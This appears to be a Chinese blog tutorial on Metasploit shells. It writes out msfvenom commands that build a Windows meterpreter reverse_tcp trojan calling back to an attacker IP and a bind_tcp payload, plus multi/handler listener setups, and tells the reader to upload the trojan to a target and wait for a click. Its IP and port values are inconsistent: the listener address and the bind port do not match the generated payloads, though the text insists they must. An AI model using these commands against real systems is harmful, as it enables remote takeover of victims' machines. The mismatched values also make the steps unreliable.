payload分类:
这里就分为正向木马和反向木马两类吧。咱知道的也有限,仅供参考...
反弹式木马简介:
反弹式shell(reverse shell)是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。显而易见的就是,反弹式木马是由攻击者上传到目标主机后,由目标主机运行和攻击者建立会话。因此,反弹式木马产生的会话更加不易被waf等安全设备拦截。
正向连接木马简介:
bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。显而易见的就是,与反弹是木马相反,bind shell 是由攻击者在自己主机上运行发动对目标主机的攻击,从而建立会话。
payload生成:
msf中生成payload使用msfvenom
个人认为,msf生成木马时有四大要素:攻击主机种类(Windowslinux)、木马种类(reverse_tcpind shell)、监听主机、监听端口。当然,监听应用肯定是metepreter啦!
反弹式木马生成与监听:
由于reverse shell木马的原理就是目标主机跟攻击者建立会话连接,被攻击者总不会自己设置监听主机或者端口吧!所以在生成木马时,监听主机和端口一个不能少。者也造成了我们只能使用固定主机进行监听的小缺陷(可能是这样,才疏学浅了...)。格式如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.60.44 LPORT=4444 -f exe -o payload.exe
将生成的payload.exe上传到目标主机后开始本地监听:
生成木马和木马运行是一回事,监听是另外一回事。首先,我们得选择本地监听主机和端口,和木马设置保持一致。美丽的风景是有的,但是你张错了眼也是看不见呀。
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 10.0.0.217 msf exploit(handler) > set lport 4444 msf exploit(handler) > exploit
如果木马被点击,就会连接成功了
bind shell木马生成与监听:
之前的cve2020-0796永恒之黑就用到了这个方式。
个人认为,由于bindshell是攻击者在本地对目标主机发起的会话连接,那么就没必要设置监听端口了。这样的话我们可以灵活使用,在哪台主机进行攻击就用哪台主机监听,但是一般是会被复方安全设备拦截的哈!但是根据bind shell 的原理,监听端口是肯定得设置的。
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b 'x00' -i 1 -f python
运行生成的exploit.py,对目标主机进行攻击
python3 exploi.py -ip 192.168.68.52
开始监听:
采用bind_tcp方式进行监听,监听端口是必须设置的(和木马保持一致),那么如果有多个主机跟这个端口发送了会话请求呢?我们还得选择需要监听的目标主机吧。目标主机用rhost
use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set lport 8888 //监听端口 set rhost 192.168.142.129 //目标主机 run